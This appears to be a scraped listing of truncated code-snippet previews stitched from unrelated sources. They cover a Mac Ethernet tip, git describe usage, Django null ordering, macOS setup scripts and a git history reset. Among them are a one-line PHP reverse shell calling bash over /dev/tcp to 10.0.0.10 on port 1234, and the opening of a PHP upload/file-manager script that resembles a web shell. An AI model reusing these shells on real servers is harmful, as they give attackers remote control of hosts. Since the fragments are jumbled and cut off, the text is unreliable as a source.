Connected a Sky box via TP-Link 500Mbps to a Mac Mini.
It said "Self-assigned IP" and wouldn't connect to the Internet.
In the network settings for Ethernet:
| <?php | |
| $self = $_SERVER['PHP_SELF']; | |
| $docr = $_SERVER['DOCUMENT_ROOT']; | |
| $sern = $_SERVER['SERVER_NAME']; | |
| $tend = "</tr></form></table><br><br><br><br>"; | |
| if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} | |
| elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} | |
| else {$ac = "upload";} | |
| switch($ac) { | |
| case "upload": |
This is Bostock's interactive Reingold-Tilford Tree with data representing the rules of a simple sklearn decision tree. Click on nodes to expand or collapse.
For more, see the complete write-up.
| # The command finds the most recent tag that is reachable from a commit. | |
| # If the tag points to the commit, then only the tag is shown. | |
| # Otherwise, it suffixes the tag name with the number of additional commits on top of the tagged object | |
| # and the abbreviated object name of the most recent commit. | |
| git describe | |
| # With --abbrev set to 0, the command can be used to find the closest tagname without any suffix: | |
| git describe --abbrev=0 | |
| # other examples |
| """Order a queryset by last_active and make null values sort last.""" | |
| import datetime | |
| from django.db.models.functions import Coalesce | |
| from app import models | |
| # Coalesce works by taking the first non-null value. So we give it |
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
| #!/bin/sh | |
| # Bootstrap new OSX system with common CLI utilities and scripts. | |
| # Prereq: | |
| # Install java from: http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html | |
| export PATH=~/.ellipsis/bin:/usr/local/bin:$PATH | |
| ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" |
| # This is the nuclear option. Use with extreme care | |
| # Works up to and including Mountain Lion (10.8.x) | |
| # Show all extended attributes | |
| ls -lOe ~/dir-to-fix | |
| # Remove no-change attributes | |
| sudo chflags nouchg ~/dir-to-fix | |
| # Recursively clear all entended attributes |
| -- Remove the history from | |
| rm -rf .git | |
| -- recreate the repos from the current content only | |
| git init | |
| git add . | |
| git commit -m "Initial commit" | |
| -- push to the github remote repos ensuring you overwrite history | |
| git remote add origin [email protected]:<YOUR ACCOUNT>/<YOUR REPOS>.git |
| #!/bin/bash | |
| # by Andreas Monitzer (@anlumo1) and Pepi Zawodsky (@MacLemon) | |
| # | |
| # This script published under WTF license | |
| # http://en.wikipedia.org/wiki/WTFPL | |
| # Improvements to this script are welcome though. | |
| # Augments the Info.plist with a lot of nice stuff. | |
| # It's suggested to call this script from a "run script" build phase, not copy the script's contents there. |